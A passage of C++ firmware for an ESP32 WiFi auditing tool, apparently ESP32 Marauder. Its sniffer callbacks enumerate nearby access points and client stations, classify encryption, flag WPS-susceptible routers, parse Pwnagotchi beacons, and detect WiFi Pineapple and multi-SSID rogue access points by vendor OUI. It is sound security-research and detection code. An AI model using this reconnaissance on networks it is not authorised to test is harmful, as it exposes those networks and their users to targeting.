{ Serial.print("RSSI: "); Serial.print(snifferPacket->rx_ctrl.rssi); Serial.print(" Ch: "); Serial.print(snifferPacket->rx_ctrl.channel); Serial.print(" BSSID: "); Serial.print(addr); #ifdef HAS_SCREEN display_string.concat("#"); display_string.concat(access_points->size()); display_string.concat(" "); #endif #ifdef HAS_FULL_SCREEN display_string.concat(snifferPacket->rx_ctrl.rssi); display_string.concat(" "); display_string.concat(snifferPacket->rx_ctrl.channel); display_string.concat(" "); #endif Serial.print(" ESSID: "); if (snifferPacket->payload[37] <= 0) display_string.concat(addr); else { for (int i = 0; i < snifferPacket->payload[37]; i++) { Serial.print((char)snifferPacket->payload[i + 38]); display_string.concat((char)snifferPacket->payload[i + 38]); essid.concat((char)snifferPacket->payload[i + 38]); } } bssid.concat(addr); int temp_len = display_string.length(); for (int i = 0; i < 50 - temp_len; i++) { display_string.concat(" "); } Serial.print(" "); #ifdef HAS_SCREEN if (wifi_scan_obj.checkMem()) display_obj.display_buffer->add(display_string); else { String warning_str = "Mem limit reached " + display_string; display_obj.display_buffer->add(warning_str); } #endif if (essid == "") { essid = bssid; Serial.print(essid + " "); } if (wifi_scan_obj.checkMem()) { AccessPoint ap; ap.essid = essid; ap.channel = snifferPacket->rx_ctrl.channel; ap.bssid[0] = snifferPacket->payload[10]; ap.bssid[1] = snifferPacket->payload[11]; ap.bssid[2] = snifferPacket->payload[12]; ap.bssid[3] = snifferPacket->payload[13]; ap.bssid[4] = snifferPacket->payload[14]; ap.bssid[5] = snifferPacket->payload[15]; ap.selected = false; ap.stations = new LinkedList(); //ap.beacon = new LinkedList(); //for (int i = 0; i < len; i++) { // ap.beacon->add(snifferPacket->payload[i]); //} ap.beacon[0] = snifferPacket->payload[34]; ap.beacon[1] = snifferPacket->payload[35]; //ap.beacon->add(snifferPacket->payload[34]); //ap.beacon->add(snifferPacket->payload[35]); Serial.print("\nBeacon: "); for (int i = 0; i < 2; i++) { char hexCar[4]; //sprintf(hexCar, "%02X", ap.beacon->get(i)); sprintf(hexCar, "%02X", ap.beacon[i]); Serial.print(hexCar); if ((i + 1) % 16 == 0) Serial.print("\n"); else Serial.print(" "); } ap.rssi = snifferPacket->rx_ctrl.rssi; ap.sec = security_type; ap.wps = wps; ap.packets = 0; ap.man = ""; access_points->add(ap); Serial.print(access_points->size()); Serial.print(" "); Serial.print(esp_get_free_heap_size()); #ifdef HAS_PSRAM Serial.print(" "); Serial.print(heap_caps_get_free_size(MALLOC_CAP_SPIRAM)); #endif } Serial.println(); buffer_obj.append(snifferPacket, len); return; } } } // We got a client possibly associated with AP. Check for AP association //if ((snifferPacket->payload[0] != 0x80) && (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP_STA)) { if ((type == WIFI_PKT_DATA) && (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP_STA)) { #ifdef HAS_SCREEN display_string = CYAN_KEY; #endif // Setup our ap and destination addrs char ap_addr[] = "00:00:00:00:00:00"; char dst_addr[] = "00:00:00:00:00:00"; int ap_index = 0; // Check if frame has ap in list of APs and determine position uint8_t frame_offset = 0; int offsets[2] = {10, 4}; bool matched_ap = false; bool ap_is_src = false; bool mac_match = true; // Check both addrs for AP addr for (int y = 0; y < 2; y++) { // Iterate through all APs for (int i = 0; i < access_points->size(); i++) { mac_match = true; // Go through each byte in addr for (int x = 0; x < 6; x++) { if (snifferPacket->payload[x + offsets[y]] != access_points->get(i).bssid[x]) { mac_match = false; break; } } if (mac_match) { matched_ap = true; if (offsets[y] == 10) ap_is_src = true; ap_index = i; getMAC(ap_addr, snifferPacket->payload, offsets[y]); break; } } if (matched_ap) break; } // If did not find ap from list in frame, drop frame if (!matched_ap) return; else { if (ap_is_src) frame_offset = 4; else frame_offset = 10; } // Check if we already have this station bool in_list = false; for (int i = 0; i < stations->size(); i++) { mac_match = true; for (int x = 0; x < 6; x++) { if (snifferPacket->payload[x + frame_offset] != stations->get(i).mac[x]) { mac_match = false; break; } } if (mac_match) { in_list = true; break; } } getMAC(dst_addr, snifferPacket->payload, 4); // Check if dest is broadcast if ((in_list) || (strcmp(dst_addr, "ff:ff:ff:ff:ff:ff") == 0)) return; // Add to list of stations if (mem_check) { Station sta = { {snifferPacket->payload[frame_offset], snifferPacket->payload[frame_offset + 1], snifferPacket->payload[frame_offset + 2], snifferPacket->payload[frame_offset + 3], snifferPacket->payload[frame_offset + 4], snifferPacket->payload[frame_offset + 5]}, false, 0}; stations->add(sta); } // Print findings to serial Serial.print((String)stations->size() + ": "); char sta_addr[] = "00:00:00:00:00:00"; if (ap_is_src) { Serial.print("ap: "); Serial.print(ap_addr); Serial.print(" -> sta: "); getMAC(sta_addr, snifferPacket->payload, 4); Serial.println(sta_addr); } else { Serial.print("sta: "); getMAC(sta_addr, snifferPacket->payload, 10); Serial.print(sta_addr); Serial.print(" -> ap: "); Serial.println(ap_addr); } display_string.concat(replaceOUIWithManufacturer(sta_addr)); display_string.concat(" -> "); display_string.concat(access_points->get(ap_index).essid); int temp_len = display_string.length(); #ifdef HAS_SCREEN for (int i = 0; i < 50 - temp_len; i++) { display_string.concat(" "); } Serial.print(" "); if (mem_check) display_obj.display_buffer->add(display_string); else { String warning_str = "Memory lim reached " + display_string; display_obj.display_buffer->add(warning_str); } #endif if (mem_check) { AccessPoint ap = access_points->get(ap_index); ap.stations->add(stations->size() - 1); access_points->set(ap_index, ap); } buffer_obj.append(snifferPacket, len); } } bool WiFiScan::beaconHasWPS(const uint8_t* payload, int len) { int i = 36; // skip radiotap + fixed 802.11 header while (i < len - 2) { uint8_t tagNumber = payload[i]; uint8_t tagLength = payload[i + 1]; if (i + 2 + tagLength > len) break; // prevent overflow const uint8_t* tagData = &payload[i + 2]; // Look for Tag Number 0xDD (Vendor Specific) if (tagNumber == 0xDD && tagLength >= 6) { // Check for WPS OUI: 00:50:F2 and WPS type: 0x04 if (tagData[0] == 0x00 && tagData[1] == 0x50 && tagData[2] == 0xF2 && tagData[3] == 0x04) { // Parse the WPS IE data starting after the OUI and type int wpsLen = tagLength - 4; const uint8_t* wpsData = &tagData[4]; int j = 0; while (j + 4 <= wpsLen) { uint16_t attrType = (wpsData[j] << 8) | wpsData[j + 1]; uint16_t attrLen = (wpsData[j + 2] << 8) | wpsData[j + 3]; if (j + 4 + attrLen > wpsLen) break; // prevent overflow if (attrType == 0x1008 && attrLen == 2) { // Config Methods attribute uint16_t configMethods = (wpsData[j + 4] << 8) | wpsData[j + 5]; // Check for any vulnerable method if (configMethods & (WPS_CONFIG_LABEL | WPS_CONFIG_DISPLAY | WPS_CONFIG_KEYPAD | WPS_CONFIG_VIRT_DISPLAY | WPS_CONFIG_PHY_DISPLAY | WPS_CONFIG_PUSH_BUTTON | WPS_CONFIG_VIRT_PUSH_BUTTON | WPS_CONFIG_PHY_PUSH_BUTTON)) { return true; } } j += 4 + attrLen; } } } i += 2 + tagLength; } return false; } uint8_t WiFiScan::getSecurityType(const uint8_t* beacon, uint16_t len) { const uint8_t* frame = beacon; const uint8_t* ies = beacon + 36; // Start of tagged parameters uint16_t ies_len = len - 36; bool hasRSN = false; bool hasWPA = false; bool hasWEP = false; bool isEnterprise = false; bool isWPA3 = false; bool isWAPI = false; uint16_t i = 0; while (i + 2 <= ies_len) { uint8_t tag_id = ies[i]; uint8_t tag_len = ies[i + 1]; if (i + 2 + tag_len > ies_len) break; const uint8_t* tag_data = ies + i + 2; // Check for RSN (WPA2) if (tag_id == 48) { hasRSN = true; // WPA2-Enterprise usually uses 802.1X AKM (type 1) if (tag_len >= 20 && tag_data[14] == 0x01 && tag_data[15] == 0x00 && tag_data[16] == 0x00 && tag_data[17] == 0x0f && tag_data[18] == 0xac) { isEnterprise = true; } // WPA3 typically uses SAE (type 8) if (tag_len >= 20 && tag_data[14] == 0x01 && tag_data[15] == 0x00 && tag_data[16] == 0x00 && tag_data[17] == 0x0f && tag_data[18] == 0xac && tag_data[19] == 0x08) { isWPA3 = true; } } // Check for WPA (in vendor specific tag) else if (tag_id == 221 && tag_len >= 8 && tag_data[0] == 0x00 && tag_data[1] == 0x50 && tag_data[2] == 0xF2 && tag_data[3] == 0x01) { hasWPA = true; // WPA-Enterprise (AKM 1) if (tag_len >= 20 && tag_data[14] == 0x01 && tag_data[15] == 0x00 && tag_data[16] == 0x00 && tag_data[17] == 0x50 && tag_data[18] == 0xf2) { isEnterprise = true; } } // Check for WAPI (Chinese standard) else if (tag_id == 221 && tag_len >= 4 && tag_data[0] == 0x00 && tag_data[1] == 0x14 && tag_data[2] == 0x72 && tag_data[3] == 0x01) { isWAPI = true; } i += 2 + tag_len; } // Decision tree if (isWAPI) return WIFI_SECURITY_WAPI; if (hasRSN && isWPA3) return WIFI_SECURITY_WPA3; if (hasRSN && isEnterprise) return WIFI_SECURITY_WPA2_ENTERPRISE; if (hasRSN && hasWPA) return WIFI_SECURITY_WPA_WPA2_MIXED; if (hasRSN) return WIFI_SECURITY_WPA2; if (hasWPA) return isEnterprise ? WIFI_SECURITY_WPA2_ENTERPRISE : WIFI_SECURITY_WPA; // WEP is identified via capability flags uint16_t capab_info = ((uint16_t)frame[34] << 8) | frame[35]; if (capab_info & 0x0010) return WIFI_SECURITY_WEP; return WIFI_SECURITY_OPEN; } void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) { extern WiFiScan wifi_scan_obj; wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf; WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload; wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl; int len = snifferPacket->rx_ctrl.sig_len; String display_string = ""; String essid = ""; String bssid = ""; if (type == WIFI_PKT_MGMT) { len -= 4; int fctl = ntohs(frameControl->fctl); const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload; const WifiMgmtHdr *hdr = &ipkt->hdr; // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP #ifdef HAS_SCREEN int buf = display_obj.display_buffer->size(); #else int buf = 0; #endif if ((snifferPacket->payload[0] == 0x80) && (buf == 0)) { char addr[] = "00:00:00:00:00:00"; getMAC(addr, snifferPacket->payload, 10); bool in_list = false; bool mac_match = true; for (int i = 0; i < access_points->size(); i++) { mac_match = true; for (int x = 0; x < 6; x++) { if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) { mac_match = false; break; } } if (mac_match) { in_list = true; break; } } if (!in_list) { delay(random(0, 10)); Serial.print("RSSI: "); Serial.print(snifferPacket->rx_ctrl.rssi); Serial.print(" Ch: "); Serial.print(snifferPacket->rx_ctrl.channel); Serial.print(" BSSID: "); Serial.print(addr); display_string.concat(addr); Serial.print(" ESSID: "); display_string.concat(" -> "); for (int i = 0; i < snifferPacket->payload[37]; i++) { Serial.print((char)snifferPacket->payload[i + 38]); display_string.concat((char)snifferPacket->payload[i + 38]); essid.concat((char)snifferPacket->payload[i + 38]); } bssid.concat(addr); int temp_len = display_string.length(); for (int i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } Serial.print(" "); #ifdef HAS_SCREEN display_obj.display_buffer->add(display_string); #endif if (essid == "") { essid = bssid; Serial.print(essid + " "); } // Get security info uint8_t security_type = wifi_scan_obj.getSecurityType(snifferPacket->payload, snifferPacket->rx_ctrl.sig_len); bool wps = wifi_scan_obj.beaconHasWPS(snifferPacket->payload, snifferPacket->rx_ctrl.sig_len); /*AccessPoint ap = {essid, snifferPacket->rx_ctrl.channel, {snifferPacket->payload[10], snifferPacket->payload[11], snifferPacket->payload[12], snifferPacket->payload[13], snifferPacket->payload[14], snifferPacket->payload[15]}, false, NULL, snifferPacket->rx_ctrl.rssi, new LinkedList(), 0, security_type, wps};*/ AccessPoint ap = {essid, snifferPacket->rx_ctrl.channel, {snifferPacket->payload[10], snifferPacket->payload[11], snifferPacket->payload[12], snifferPacket->payload[13], snifferPacket->payload[14], snifferPacket->payload[15]}, false, {snifferPacket->payload[34], snifferPacket->payload[35]}, snifferPacket->rx_ctrl.rssi, new LinkedList(), 0, security_type, wps}; access_points->add(ap); Serial.print(access_points->size()); Serial.print(" "); Serial.print(esp_get_free_heap_size()); #ifdef HAS_PSRAM Serial.print(" "); Serial.print(heap_caps_get_free_size(MALLOC_CAP_SPIRAM)); #endif Serial.println(); buffer_obj.append(snifferPacket, len); } } } } String WiFiScan::processPwnagotchiBeacon(const uint8_t* frame, int length) { // Approximate the start of JSON payload within the beacon frame int jsonStartIndex = 36; // Adjust based on actual frame structure if necessary int jsonEndIndex = length; // Locate the actual JSON boundaries by finding '{' and '}' while (jsonStartIndex < length && frame[jsonStartIndex] != '{') jsonStartIndex++; while (jsonEndIndex > jsonStartIndex && frame[jsonEndIndex - 1] != '}') jsonEndIndex--; if (jsonStartIndex >= jsonEndIndex) { Serial.println("JSON payload not found."); return ""; } // Extract JSON substring from frame directly String jsonString = String((char*)frame + jsonStartIndex, jsonEndIndex - jsonStartIndex); // Estimate an appropriate JSON document size based on payload length size_t jsonCapacity = jsonString.length() * 1.5; // Adding buffer for ArduinoJson needs // Check if we have enough memory before creating StaticJsonDocument if (jsonCapacity > ESP.getFreeHeap()) { Serial.println("Insufficient memory to parse JSON."); return ""; } // Parse JSON payload using ArduinoJson library StaticJsonDocument<2048> doc; DeserializationError error = deserializeJson(doc, jsonString); if (error) { Serial.print("Failed to parse JSON: "); Serial.println(error.c_str()); return ""; } // Check for Pwnagotchi keys "name" and "pwnd_tot" if (doc.containsKey("name") && doc.containsKey("pwnd_tot")) { const char* name = doc["name"]; const char* ver = doc["version"]; int pwnd_tot = doc["pwnd_tot"]; bool deauth = doc["policy"]["deauth"]; int uptime = doc["uptime"]; // Print and return the Pwnagotchi name and pwnd_tot Serial.print("Pwnagotchi Name: "); Serial.println(name); Serial.print("Pwnd Totals: "); Serial.println(pwnd_tot); #ifdef HAS_SCREEN display_obj.display_buffer->add(String("Pwnagotchi: ") + name + ", "); display_obj.display_buffer->add(" Pwnd: " + String(pwnd_tot) + ", "); display_obj.display_buffer->add(" Uptime: " + String(uptime) + ", "); if (deauth) display_obj.display_buffer->add(" Deauth: true, "); else display_obj.display_buffer->add(" Deauth: false, "); display_obj.display_buffer->add(String(" Ver: ") + ver + " "); #endif return String("Pwnagotchi: ") + name + ", \nPwnd: " + String(pwnd_tot) + ", \nVer: " + ver; } else { Serial.println("Not a Pwnagotchi frame."); return ""; } } // PINEAPPLE LOGIC // Define lookup table for Pineapple OUIs const WiFiScan::SuspiciousVendor WiFiScan::suspicious_vendors[] = { // Alfa {"Alfa Inc", SUSPICIOUS_WHEN_OPEN, {0x00C0CA}, 1}, // Orient Power (Pineapple MK7) {"Orient Power Home Network Ltd", SUSPICIOUS_ALWAYS, {0x001337}, 1}, // Shenzhen Century {"Shenzhen Century Xinyang Technology Co Ltd", SUSPICIOUS_WHEN_OPEN, {0x1CBFCE}, 1}, // IEEE {"IEEE Registration Authority", SUSPICIOUS_WHEN_OPEN, {0x0CEFAF}, 1}, // Hak5 (Locally Administered) {"Hak5", SUSPICIOUS_WHEN_PROTECTED, {0x02C0CA, 0x021337}, 2}, // MediaTek {"MediaTek Inc", SUSPICIOUS_ALWAYS, {0x000A00, 0x000C43, 0x000CE7, 0x0017A5}, 4}, // Panda Wireless {"Panda Wireless Inc", SUSPICIOUS_ALWAYS, {0x9CEFD5, 0x9CE5D5}, 2}, // Unassigned/Spoofed {"Unassigned/Spoofed", SUSPICIOUS_ALWAYS, {0xDEADBE}, 1} }; // Total OUI count: 13 // Update the number of vendors constant const int WiFiScan::NUM_SUSPICIOUS_VENDORS = sizeof(WiFiScan::suspicious_vendors) / sizeof(WiFiScan::suspicious_vendors[0]); // This fixes picking up a AP on an adjacent channel. int WiFiScan::extractPineScanChannel(const uint8_t* payload, int len) { if (len < 38) return -1; // Ensure we have enough data // Jump to the element fields after the fixed beacon header and SSID field int pos = 36 + payload[37] + 2; // 36 fixed header bytes + SSID length + 2 bytes for SSID tag info // Search through the tags for the channel information (DS Parameter Set, tag number 3) while (pos < len - 2) { uint8_t tag_num = payload[pos]; uint8_t tag_len = payload[pos + 1]; // Safety check to prevent buffer overruns if (pos + 2 + tag_len > len) break; // Found DS Parameter Set (tag 3), channel is the next byte if (tag_num == 3 && tag_len == 1) { return payload[pos + 2]; // Return the channel } pos += tag_len + 2; } // If channel not found in the beacon, return the one from rx_ctrl return -1; } // Function to count tagged parameters in beacon frames bool countPineScanTaggedParameters(const uint8_t* payload, int len) { int ssid_len = payload[37]; int pos = 36 + ssid_len + 2; // Check if next tag is the DS Parameter (channel info) - tag number 3 if (pos < len - 2 && payload[pos] == 3 && payload[pos+1] == 1) { // Check for end of packet after DS Parameter (no more tags) int next_pos = pos + 2 + payload[pos+1]; return (next_pos >= len || next_pos + 2 > len); } return false; } void WiFiScan::pineScanSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) { extern WiFiScan wifi_scan_obj; wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf; WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload; wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl; int len = snifferPacket->rx_ctrl.sig_len; String display_string = ""; String essid = ""; if (type == WIFI_PKT_MGMT) { len -= 4; int fctl = ntohs(frameControl->fctl); const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload; const WifiMgmtHdr *hdr = &ipkt->hdr; #ifdef HAS_SCREEN int buff = display_obj.display_buffer->size(); #else int buff = 0; #endif if ((snifferPacket->payload[0] == 0x80) && (buff == 0)) { buffer_obj.append(snifferPacket, len); // Capture all beacons // Extract MAC address for Pineapple detection uint8_t mac_addr[6]; for (int i = 0; i < 6; i++) { mac_addr[i] = snifferPacket->payload[10 + i]; } // Extract channel from the beacon frame int ap_channel = WiFiScan::extractPineScanChannel(snifferPacket->payload, len); if (ap_channel == -1) { ap_channel = snifferPacket->rx_ctrl.channel; } // Extract capability flags uint16_t capab_info = ((uint16_t)snifferPacket->payload[34] | ((uint16_t)snifferPacket->payload[35] << 8)); bool suspicious_capability = (capab_info == 0x0001); bool tag_count = countPineScanTaggedParameters(snifferPacket->payload, len); bool tag_and_susp_cap = suspicious_capability && tag_count; bool is_protected = (capab_info & 0x10) != 0; bool is_open = !is_protected; String auth_type = is_open ? "OPEN" : "PROTECTED"; // Check for suspicious OUIs uint8_t oui[3] = {snifferPacket->payload[10], snifferPacket->payload[11], snifferPacket->payload[12]}; uint32_t oui_value = ((uint32_t)oui[0] << 16) | ((uint32_t)oui[1] << 8) | oui[2]; bool suspicious_oui = false; bool pinescan_match = false; bool pinescan_match_by_oui = false; const char* vendor_name = "Unknown"; // Check against suspicious vendors list for (int i = 0; i < WiFiScan::NUM_SUSPICIOUS_VENDORS; i++) { const WiFiScan::SuspiciousVendor& vendor = WiFiScan::suspicious_vendors[i]; // Check each OUI for this vendor for (int j = 0; j < vendor.oui_count; j++) { if (oui_value == vendor.ouis[j]) { if ((vendor.security_flags & SUSPICIOUS_ALWAYS) || (is_open && (vendor.security_flags & SUSPICIOUS_WHEN_OPEN)) || (is_protected && (vendor.security_flags & SUSPICIOUS_WHEN_PROTECTED))) { suspicious_oui = true; pinescan_match = true; vendor_name = vendor.vendor_name; pinescan_match_by_oui = true; break; } } } if (pinescan_match_by_oui) break; } pinescan_match = pinescan_match || tag_and_susp_cap; if ((tag_and_susp_cap) && !suspicious_oui) { vendor_name = "Unknown"; } // Check if we have already seen this MAC int ap_index = -1; bool already_tracked = false; // Find if have seen this MAC before in the tracking list for (int i = 0; i < wifi_scan_obj.pinescan_trackers->size(); i++) { bool mac_match = true; for (int x = 0; x < 6; x++) { if (mac_addr[x] != wifi_scan_obj.pinescan_trackers->get(i).mac[x]) { mac_match = false; break; } } if (mac_match) { ap_index = i; already_tracked = true; break; } } // Check if already in confirmed list bool already_confirmed = false; int confirmed_index = -1; for (int i = 0; i < wifi_scan_obj.confirmed_pinescan->size(); i++) { bool mac_match = true; for (int x = 0; x < 6; x++) { if (mac_addr[x] != wifi_scan_obj.confirmed_pinescan->get(i).mac[x]) { mac_match = false; break; } } if (mac_match) { already_confirmed = true; confirmed_index = i; break; } } // If already confirmed, just update it and return if (already_confirmed) { if (snifferPacket->payload[37] <= 0) { essid = "[hidden]"; } else { for (int i = 0; i < snifferPacket->payload[37]; i++) { essid.concat((char)snifferPacket->payload[i + 38]); } } ConfirmedPineScan confirmed = wifi_scan_obj.confirmed_pinescan->get(confirmed_index); if (snifferPacket->rx_ctrl.rssi > confirmed.rssi) { confirmed.rssi = snifferPacket->rx_ctrl.rssi; } if (essid != "" && essid != "[hidden]") { confirmed.essid = essid; } wifi_scan_obj.confirmed_pinescan->set(confirmed_index, confirmed); return; } // Add to tracking list if new if (!already_tracked) { // Check if we've reached the maximum number of tracked APs if (wifi_scan_obj.pinescan_trackers->size() >= MAX_AP_ENTRIES) { if (!wifi_scan_obj.pinescan_list_full_reported) { Serial.println("AP List Full - Clearing list to make room"); wifi_scan_obj.pinescan_list_full_reported = true; wifi_scan_obj.pinescan_trackers->clear(); Serial.println("AP list cleared, continuing scan"); } // Add the current AP to the freshly cleared list PineScanTracker new_tracker; memcpy(new_tracker.mac, mac_addr, 6); new_tracker.suspicious_oui = suspicious_oui; new_tracker.tag_and_susp_cap = tag_and_susp_cap; new_tracker.channel = ap_channel; new_tracker.rssi = snifferPacket->rx_ctrl.rssi; new_tracker.reported = false; wifi_scan_obj.pinescan_trackers->add(new_tracker); ap_index = wifi_scan_obj.pinescan_trackers->size() - 1; // Reset the full reported flag since we've made room wifi_scan_obj.pinescan_list_full_reported = false; } else { // Add to tracking list when there is room PineScanTracker new_tracker; memcpy(new_tracker.mac, mac_addr, 6); new_tracker.suspicious_oui = suspicious_oui; new_tracker.tag_and_susp_cap = tag_and_susp_cap; new_tracker.channel = ap_channel; new_tracker.rssi = snifferPacket->rx_ctrl.rssi; new_tracker.reported = false; wifi_scan_obj.pinescan_trackers->add(new_tracker); ap_index = wifi_scan_obj.pinescan_trackers->size() - 1; } } else { // Update existing tracker PineScanTracker tracker = wifi_scan_obj.pinescan_trackers->get(ap_index); if (snifferPacket->rx_ctrl.rssi > tracker.rssi) { tracker.rssi = snifferPacket->rx_ctrl.rssi; } if (!tracker.suspicious_oui && suspicious_oui) { tracker.suspicious_oui = true; } if (!tracker.tag_and_susp_cap && tag_and_susp_cap) { tracker.tag_and_susp_cap = true; } wifi_scan_obj.pinescan_trackers->set(ap_index, tracker); } // If we have a match and it is not already in the confirmed list, add it if (pinescan_match) { if (wifi_scan_obj.confirmed_pinescan->size() >= MAX_PINESCAN_ENTRIES) { if (!wifi_scan_obj.pinescan_list_full_reported) { Serial.println("Confirmed PineScan List Full - Cannot add more"); Serial.println("Stopping PineScan detection until scan is restarted"); wifi_scan_obj.pinescan_list_full_reported = true; } return; // Stop processing completely if list is full } if (snifferPacket->payload[37] <= 0) { essid = "[hidden]"; } else { for (int i = 0; i < snifferPacket->payload[37]; i++) { essid.concat((char)snifferPacket->payload[i + 38]); } } String detection = ""; if (pinescan_match_by_oui) { detection = "SUSP_OUI"; } else if (tag_and_susp_cap) { detection = "TAG+SUSP_CAP"; } else { detection = "OTHER"; } char addr[18]; snprintf(addr, sizeof(addr), "%02X:%02X:%02X:%02X:%02X:%02X", mac_addr[0], mac_addr[1], mac_addr[2], mac_addr[3], mac_addr[4], mac_addr[5]); // Add to confirmed Pineapple list ConfirmedPineScan new_confirmed; memcpy(new_confirmed.mac, mac_addr, 6); new_confirmed.detection_type = detection; new_confirmed.essid = essid; new_confirmed.channel = ap_channel; new_confirmed.rssi = snifferPacket->rx_ctrl.rssi; new_confirmed.displayed = false; wifi_scan_obj.confirmed_pinescan->add(new_confirmed); // Mark as reported in the tracker if (already_tracked) { PineScanTracker tracker = wifi_scan_obj.pinescan_trackers->get(ap_index); tracker.reported = true; wifi_scan_obj.pinescan_trackers->set(ap_index, tracker); } // Only display MAX_DISPLAY_ENTRIES entries per MAC int displayed_count = 0; for (int i = 0; i < wifi_scan_obj.confirmed_pinescan->size(); i++) { bool mac_match = true; for (int x = 0; x < 6; x++) { if (mac_addr[x] != wifi_scan_obj.confirmed_pinescan->get(i).mac[x]) { mac_match = false; break; } } if (mac_match && wifi_scan_obj.confirmed_pinescan->get(i).displayed) { displayed_count++; } } // Only display if we have not hit the display limit for this MAC if (displayed_count < MAX_DISPLAY_ENTRIES) { int idx = wifi_scan_obj.confirmed_pinescan->size() - 1; ConfirmedPineScan to_display = wifi_scan_obj.confirmed_pinescan->get(idx); to_display.displayed = true; wifi_scan_obj.confirmed_pinescan->set(idx, to_display); // Create display string String log_line = "MAC: " + String(addr) + " CH: " + String(ap_channel) + " RSSI: " + String(snifferPacket->rx_ctrl.rssi) + " DET: " + detection + " SSID: " + essid; log_line += "\n"; delay(random(0, 10)); Serial.print(log_line); #ifdef HAS_FULL_SCREEN display_string.concat("MAC: " + String(addr)); display_string.concat(" CH: " + String(ap_channel)); display_string.concat(" RSSI: " + String(snifferPacket->rx_ctrl.rssi)); int temp_len = display_string.length(); for (int i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } display_obj.display_buffer->add(display_string); display_string = ""; display_string.concat("DET: " + detection); display_string.concat(" SSID: " + essid); temp_len = display_string.length(); for (int i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } display_obj.display_buffer->add(display_string); display_string = ""; for (int i = 0; i < 60; i++) { display_string.concat("-"); } display_obj.display_buffer->add(display_string); #elif defined(HAS_MINI_SCREEN) // Add MAC and channel display_string.concat("MAC: " + String(addr)); display_string.concat(" CH: " + String(ap_channel)); int temp_len = display_string.length(); for (int i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } display_obj.display_buffer->add(display_string); // Add RSSI and Detection method display_string = ""; display_string.concat("RSSI: " + String(snifferPacket->rx_ctrl.rssi)); display_string.concat(" DET: " + detection); temp_len = display_string.length(); for (int i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } display_obj.display_buffer->add(display_string); // Add SSID display_string = ""; display_string.concat("SSID: " + essid); temp_len = display_string.length(); for (int i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } display_obj.display_buffer->add(display_string); // Add delin display_string = ""; for (int i = 0; i < 60; i++) { display_string.concat("-"); } display_obj.display_buffer->add(display_string); #endif } } } } } void WiFiScan::multiSSIDSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) { extern WiFiScan wifi_scan_obj; wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf; WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload; wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl; int len = snifferPacket->rx_ctrl.sig_len; String display_string = ""; String essid = ""; if (type == WIFI_PKT_MGMT) { len -= 4; int fctl = ntohs(frameControl->fctl); const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload; const WifiMgmtHdr *hdr = &ipkt->hdr; #ifdef HAS_SCREEN int buff = display_obj.display_buffer->size(); #else int buff = 0; #endif if ((snifferPacket->payload[0] == 0x80) && (buff == 0)) { buffer_obj.append(snifferPacket, len); // Capture all beacons // Extract MAC address uint8_t mac_addr[6]; for (int i = 0; i < 6; i++) { mac_addr[i] = snifferPacket->payload[10 + i]; } // Extract channel from the beacon frame int ap_channel = WiFiScan::extractPineScanChannel(snifferPacket->payload, len); if (ap_channel == -1) { ap_channel = snifferPacket->rx_ctrl.channel; } // Process SSID and compute hash uint16_t ssid_hash = 0; if (snifferPacket->payload[37] > 0) { // Compute Whole SSID hash directly from payload for (int i = 0; i < (int)snifferPacket->payload[37]; i++) { char c = snifferPacket->payload[i + 38]; ssid_hash = ((ssid_hash << 5) + ssid_hash) + c; } } else { ssid_hash = 0xFFFF; // hash for hidden SSIDs } // Check for multiple unique SSIDs from same MAC bool multi_ssid_ap = false; int ap_index = -1; // Find if have seen this MAC before for (int i = 0; i < wifi_scan_obj.multissid_trackers->size(); i++) { bool mac_match = true; for (int x = 0; x < 6; x++) { if (mac_addr[x] != wifi_scan_obj.multissid_trackers->get(i).mac[x]) { mac_match = false; break; } } if (mac_match) { ap_index = i; break; } } bool already_confirmed = false; int confirmed_index = -1; for (int i = 0; i < wifi_scan_obj.confirmed_multissid->size(); i++) { bool mac_match = true; for (int x = 0; x < 6; x++) { if (mac_addr[x] != wifi_scan_obj.confirmed_multissid->get(i).mac[x]) { mac_match = false; break; } } if (mac_match) { already_confirmed = true; confirmed_index = i; break; } } // If already confirmed, just update and return if (already_confirmed) { if (snifferPacket->payload[37] <= 0) { essid = "[hidden]"; } else { for (int i = 0; i < snifferPacket->payload[37]; i++) { essid.concat((char)snifferPacket->payload[i + 38]); } } ConfirmedMultiSSID confirmed = wifi_scan_obj.confirmed_multissid->get(confirmed_index); if (snifferPacket->rx_ctrl.rssi > confirmed.rssi) { confirmed.rssi = snifferPacket->rx_ctrl.rssi; } if (essid != "" && essid != "[hidden]") { confirmed.essid = essid; } wifi_scan_obj.confirmed_multissid->set(confirmed_index, confirmed); return; } if (ap_index == -1) { if (wifi_scan_obj.confirmed_multissid->size() >= MAX_MULTISSID_ENTRIES) { if (!wifi_scan_obj.multissid_list_full_reported) { Serial.println("Confirmed MultiSSID List Full - Cannot add more"); Serial.println("Stopping MultiSSID detection until scan is restarted"); wifi_scan_obj.multissid_list_full_reported = true; } return; // Stop processing completely if list is full } // Check if we have reached the maximum number of tracked APs if 